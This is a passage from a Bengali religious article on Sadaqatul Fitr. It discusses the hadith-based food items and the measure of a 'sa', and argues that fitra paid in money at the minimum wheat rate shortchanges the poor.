ইরওয়াহ ৩/৩৩৭, তাহকিক আলবানি: সহিহ্।) 

উপর্যুক্ত হাদিস দ্বারা সুস্পষ্ট যে, রাসুলুল্লাহ (সা.) থেকে  ফিতরা আদায়ের নির্দেশ হচ্ছে খাদ্যদ্রব্য, যেমন— গম, খেজুর, যব, পনির, কিসমিস।  এই পাঁচটি নিয়মিত খাদ্য দ্বারাই রাসুলুল্লাহ (সা.) এর সময়ে  ফিতরা আদায় করা হতো। আর খাদ্যদ্রব্য দ্বারা ফিতরা আদায় হচ্ছে সুন্নাহ পদ্ধতি। 

ফিতরার পরিমাণ 

আমাদের দেশ ও উপমহাদেশে খাদ্যদ্রব্য গমকে হিসাবে ধরে ফিতরার টাকা নির্ধারণ করা হয়। উপরের উল্লেখিত হাদিসেও এসেছে কী পরিমাণ খাদ্য দিয়ে রাসুলুল্লাহ (সা.) ফিতরা আদায় করার নির্দেশ দিয়েছেন। সুতরাং প্রত্যেকের জন্য মাথাপিছু এক “সা” খাদ্যশস্য সাদকাতুল ফিতর  হিসাবে দিতে হবে। “সা” হচ্ছে তৎকালীন সময়ের এক ধরনের ওজনের পরিমাপক।

মাঝারি দেহের অধিকারী মানুষের হাতের চার “মুদে” এক ‘সা’ হয়। (অর্থাৎ দুই হাতের কব্জি একত্র করে মুনাজাতের মতো একত্রিত করে তাতে যতটুকু ফসল নেয়া যায়, ততটুকুকে বলা এক “মুদ “। মুদ দ্বারাই আরবে দানা জাতীয় শস্য মাপা হয়।একাধিক শস্য যদি এক-‘সা’ এক-‘সা’ মেপে কেজি দিয়ে ওজন করা হয়, তাহলে এক শস্যের ওজন অপর শস্যের ওজন থেকে কম-বেশী হবে। তাই কোনো নির্দিষ্ট ওজন দ্বারা সা নির্ধারিত করা সম্ভব নয়। 

রাসুলুল্লাহ (সা.) এর সুন্নাহ হচ্ছে তৎকালীন প্রচলিত খাদ্যদ্রব্যের এক সা দ্বারা একজনের ফিতরা আদায় করা। সেই হিসাবে আমাদের উপমহাদেশে প্রচলিত খাদ্যদ্রব্য হচ্ছে চাউল এবং আটা। সুতরাং সুন্নাহ হলো চাউল বা আটা দ্বারা এক সা করে একজনের ফিতরা আদায় করা।  বর্তমানে আমাদের দেশে এক “সা”তে আড়াই কেজি চাউল হয়।

সা নিয়ে মতভেদ

আমাদের উপমহাদেশে অর্ধ সা গম বা আটার পরিমাপের অর্থ দ্বারা ফিতরা নির্ধারন করা হয়। যদিও হাদিসে পাঁচটি খাদ্যদ্রব্যের এক সা দেওয়ার কথা এসেছে। অর্ধ সা ফিতরা দেওয়ার ফতোয়াটি মুয়াবিয়ার রা:। যা আগের উল্লেখিত হাদিস থেকে বুঝা যায়। একইসাথে গম দ্বারা এই সা এর পরিমাণ হলো ৩ কেজি ৩০০ গ্রাম যা ইরাকের প্রচলিত সা। আর মদিনার সা দিয়ে গমের পরিমাণ হলো ২ কেজি ৪০০ গ্রাম। সুতরাং মদিনা এবং ইরাকের সা এর পার্থক্য রয়েছে।

একইসাথে হাদিসে এসেছে এক সা দেওয়ার কথা। যা রাসুলুল্লাহ (সা.) এবং ইসলামের চার খলিফা পর্যন্ত বলবৎ ছিলো। পরে মুআবিয়া ইসলামী রাষ্ট্রের খলিফা নির্বাচিত হন এবং ইসলামী রাষ্ট্রের রাজধানী মদিনা থেকে দামেস্কে প্রতিষ্ঠিত করেন। এরপরে দামেস্ক থেকে মদিনায় গম আমদানি হতে থাকে। সে সময় সিরিয়ার গমের মূল্য খেঁজুরের দ্বিগুণ ছিল। তাই খলিফা মুয়াবিয়া কোনো এক হজ্জ বা উমরা করার সময় মদীনায় আসলে মিম্বরে বলেন, আমি অর্ধ সা গমকে এক সা খেজুরের সমতুল্য মনে করি। লোকেরা তার এই কথা মেনে নেয়। এর পর থেকে মুসলিম জনগনের মধ্যে অর্ধ সা ফিতরার প্রচলন শুরু হয়।

উপর্যুক্ত কারণগুলো থেকে স্পষ্ট বুঝা যাচ্ছে, এক সা মদিনার পরিমাপেই একটি ফিতরা আদায় করতে হবে। কেউ যদি ইরাকের সা এর পরিমাপ ধরে মুয়াবিয়ার ফতোয়া অনুযায়ী অর্ধ সা দিয়ে ফিতরা দেয়, তাহলে তা সুন্নাহ সম্মত হবেনা। কেননা উপরের উল্লেখিত হাদিসে সাহাবী আবূ সাইদ আল-খুদরি (রা.) সহ তৎকালীন অনেকে মুয়াবিয়ার ফতোয়াকে মেনে নেয়নি। 

টাকা দিয়ে ফিতরা

বর্তমান সময়ের প্রেক্ষিতে খাদ্যদ্রব্য দিয়ে ফিতরা আদায় করা বিভিন্ন কারণে সমস্যাযুক্ত। যারফলে বিভিন্ন আলেম উলামারা খাদ্যদ্রব্যের হিসাব করে টাকা দিয়ে ফিতরা আদায়ে ঐক্যমত্য পোষণ করেন। আমাদের উপমহাদেশে গমের এক সা ৩ কেজি ৩০০ কে দুই ভাগ তথা অর্ধ সা হিসাব ধরে ১ কেজি ৬৫০ গ্রাম গমের বা আটার মূল্য ধরে সর্বনিম্ন ফিতরা দেওয়া হয়। একইভাবে খেজুর, কিশমিশ, পনির, যব দ্বারাও টাকার পরিমান করা হয়।

যদিও এক পক্ষ এই টাকা দিয়ে ফিতরা আদায়কে জায়েজ নয় বলে সম্বোধন করেন। তাদের যুক্তি হলো, রাসুলুল্লাহ (সা.) সময়েও মুদ্রার প্রচলন ছিলো। মুদ্রা দিয়ে ফিতরা আদায় জায়েজ হলে তিনি তা মুদ্রা দিয়েই দেওয়ার নির্দেশ দিতেন, যেমন জাকাতের ক্ষেত্রে দিয়েছেন। একইসাথে ফিতরা আদায়ে লক্ষ্য উদ্দেশ্য হলো মিসকিনদের ভালো  খাওয়া দাওয়া করানো। সেই কারণে টাকা নয় বরং খাদ্য দ্বারাই ফিতরা আদায় করতে হবে। যেমন হাদিসে সুস্পষ্টভাবে এসেছে।

অন্য পক্ষের যুক্তি হলো, বর্তমান পরিস্থিতি একজন মিসকিন তার ফিতরা সংগ্রহ করতে গেলে দু চারজনের বেশি সংগ্রহ করতে পারবে না ওজনের কারণে। একইসাথে শুধু খাদ্য দিয়েই একজন মিসকিন জীবনযাপন করতে পারেন না। তার প্রয়োজনীয় সবকিছু পূরণ করতে হলে টাকার প্রয়োজন। একইসাথে টাকা বহন করতে সুবিধাজনক। টাকা দিয়ে ঐ মিসকিন তার পছন্দের খাদ্য কিনে খেতে পারবে।

একজন মিসকিন যদি খাদ্য ফিতরা সংগ্রহ করে, তাহলে তার অতিরিক্ত খাদ্য জমা হয়ে যাবে। যা তাকে কম দামে দোকানে বিক্রি করতে হবে। এটা তারজন্য লোকসান। সুতরাং খাদ্যদ্রব্য নয় সময়ের পরিস্থিতির কারণে অর্থ দিয়ে ফিতরা আদায় করা যুক্তিযুক্ত। যা অধিকাংশ মুসলিমের ঐক্যমত্যের কারণে ইনশা- আল্লাহ্ তা কবুল হবে। 

শুভংকরের ফাঁকি

আমরা ইতিমধ্যে জেনেছি পাঁচ প্রকার খাদ্য দ্বারা ফিতরা আদায় করা যাবে। যা তৎকালীন আরবের প্রধান খাদ্য ছিলো। সেই হিসাবে যে অঞ্চলের যে খাদ্য প্রধান সেই খাদ্য দিয়েই ফিতরা দেওয়া সুন্নাহ। যদিও আমাদের উপমহাদেশে হাদিসে বর্ণিত পাঁচ প্রকারের খাদ্য (যব, খেজুর, পনির, কিসমিস ও গম) এর পরিমাপ করে ফিতরার টাকা নির্ধারিত হয়। 

সেই হিসাবে উন্নত মানের খেজুরের দাম বর্তমান সময়ে সবসময়ই বেশি হয়। এরপরের স্থান রয়েছে পনির যার মূল্য খেজুরের চাইতে কিছু কম। এভাবে কিসমিস, যব এবং গম। যা হাদিসে উল্লেখিত খাদ্যদ্রব্য।

আমাদের উপমহাদেশে গমের অর্ধ সা ১ কেজি ৬৫০ গ্রাম ধরে সর্বনিম্ন ফিতরা নির্ধারন করা হয়। যে হিসাব দিয়েই ধনী গরিব, সচ্ছল, অসচ্ছল, মধ্যবিত্ত, উচ্চবিত্ত সবাই ফিতরা আদায় করে। যা যৌক্তিক কারণে কখনোই সঠিক নয়। কেননা সামর্থ্য অনুযায়ী ফিতরা দিতে হবে।

প্রতিবছর গমের হিসাব ধরে ফিতরা টাকা প্রকাশিত হওয়ার কারণে অধিকাংশ মুসলমানই জানেনা যে তাকে আসলেই কত টাকা ফিতরা দেওয়া উচিত। যদিও ইসলামিক ফাউন্ডেশন সকল খাদ্যদ্রব্যের টাকা নির্ধারিত করে দিলেও, প্রচারিত হয় শুধুমাত্র সর্বনিম্ন ফিতরা টাকা ৬০/৭০/৮০ টাকার মতো। যা একজন রিকশাওয়ালা, দিনমজুরসহ খুবই সামান্য আয়ে চলে এমন ব্যক্তির জন্য প্রযোজ্য।

রাসুল (সা.) এর সুন্নাহ থেকে সরে এসে টাকা দিয়ে ফিতরা আদায়ের কারণে এমন পরিস্থিতির উদ্ভব হয়েছে। যিনি ফিতরা দিচ্ছেন তিনি সুন্নাহ মানছেন না। কারণ যিনি নিচ্ছেন তিনি খাদ্য না নিয়ে টাকা নিতে আগ্রহী। যারফলে যারা ফিতরা নিচ্ছেন তারা ক্ষতিগ্রস্ত হচ্ছে অনেকভাবে। 

যদি রাসুলুল্লাহ (সা.) এর সুন্নাহ অনুযায়ী খাদ্য দিয়ে যেমন— নূন্যতম চাউল দিয়ে ফিতরা আদায় করতে হলে, যিনি ফিতরা দিবেন তিনি নিজেই খুঁজে খুঁজে তা দিয়ে আসবেন। এবং এটাই সুন্নাহ।  এক্ষেত্রে ফিতরা গ্রহীতাকে কষ্ট করে মানুষের দুয়ারে যেতে হবে না।

এছাড়াও একজন ফিতরা গ্রহীতা যখন প্রয়োজনের অতিরিক্ত খাদ্য পাবে, সেই খাদ্য সে এমন কারো কাছে বিক্রি করবে যে কম আয়ের মানুষ। এতেকরে দুই শ্রেণীই উপকৃত হতে পারে। তাছাড়া সারা উপমহাদেশে গমের দামে ফিতরা দেওয়ার কারণে একজন দানকারী খুবই সামান্য টাকাই ফিতরা দিচ্ছে। যা অন্যান্য খাদ্য দিয়ে দিতে হলে আরো অনেক বেশিই দিতে হতো। একইভাবে কম দেওয়ার কারণে ফিতরা গ্রহীতাও কম টাকা পাচ্ছে।

একজন মিসকিন যদি পুরো একটি ফিতরা পেতো তাহলে সে নূন্যতম ২০/৩০ টির চাইতেও বেশি ফিতরা পেতো। যা চাউল দিয়ে হিসাব করলেও (২কেজি৫০০ গ্রাম ধরে)   ৫০/৭৫ কেজি হতো। যার মূল্য ৩০০০/৪৫০০ টাকা হতো। অথচ এখন ঘরে ঘরে গিয়ে ফিতরা আদায় করতে গিয়ে ১০ /২০ টাকার বেশি পায় না। যার সর্বমোট হিসাব করলে ১০০০ /১৫০০ টাকার বেশি কখনোই সম্ভব নয়।

নূন্যতম হিসাব ধরে যদি একজন গ্রহীতা তিন থেকে চার হাজার টাকা পেতে পারে। তাহলে বেশি হিসাব ধরে ফিতরা দিলে কত টাকা হতে পারে। আর আমাদের দেশের বর্তমান পরিস্থিতিতে অবশ্যই অর্ধাংশ লোক বেশি মূল্যের ফিতরা দেওয়ার উপযোগী।

এই কারণে দাতা এবং গ্রহীতা উভয়ই ক্ষতিগ্রস্ত হচ্ছে। দাতা সঠিক নিয়মে ফিতরা না দেওয়ার কারণে পরিপূর্ণ নেকী পাচ্ছে না। আর গ্রহীতা কম পাওয়ার কারণে আর্থিকভাবে লোকসানে পড়ছে। এভাবেই দ্বীন পালন করতে গিয়ে আমরা শুভংকরের ফাঁকিতে পড়ে গেছি।  সুতরাং আমাদের উচিত সুন্নাহ পদ্ধতিতে ফিতরা আদায় করা যাতে আল্লাহ্ থেকে পরিপূর্ণ নেকী পাওয়া যায় এবং গরিব দুঃখীদেরও অসচ্ছলতা দূর হয়।

সাদকাতুল ফিতরের উপকারিতা

  • এই দান যেহেতু সাওম পালনের ভুল- ত্রুটির জন্য, সেহেতু এই দানের বিনিময়ে আল্লাহ্ আমাদের গোনাহ গুলোকে মিটিয়ে দেন।  
  • রাসুলুল্লাহ (সা.) হচ্ছেন সর্বকালের সর্বশ্রেষ্ঠ জ্ঞানী। তিনি সমাজে সাম্যাবস্থা তৈরি করার জন্য এই সাদকার প্রচলন করেছেন। যাতে ধনী গরিব দুঃস্থ অসহায় সকলে মিলে ইদের আনন্দ উপভোগ করতে পারেন। 
  • এছাড়াও আল্লাহ আমাদের শারিরীক সুস্থতা ও দীর্ঘায়ু দান করেছেন। যার কারণে আমরা বেঁচে থেকে সুস্থ শরীরে এক মাস সিয়াম পালন করতে পারলাম। সুস্থতা এবং আমল করতে পারার কারণে আল্লাহ্ নিকট  শুকরিয়া স্বরুপ হলো এই ফিতরা। যা দেহের জাকাত নামেও পরিচিত।

উপর্যুক্ত আলোচনা থেকে এটা স্পষ্ট যে, প্রতিটি ব্যক্তিকে ঘরের সকল সদস্যদের ফিতরা দিতে হবে, যার ঘরে দুই তিন বেলার পর্যাপ্ত খাবার রয়েছে। একইসাথে খাদ্যদ্রব্য দ্বারাই ফিতরা আদায় সুন্নাহ। তবে পরিস্থিতির কারণে টাকা দিয়েও ফিতরা আদায় করা যাবে। তবে তা অবশ্যই সামর্থ্য অনুযায়ী দিতে হবে। সুতরাং আমাদের সকলের উচিত সামর্থ্য অনুযায়ী সুন্নাহ পদ্ধতিতে ফিতরা আদায় করা।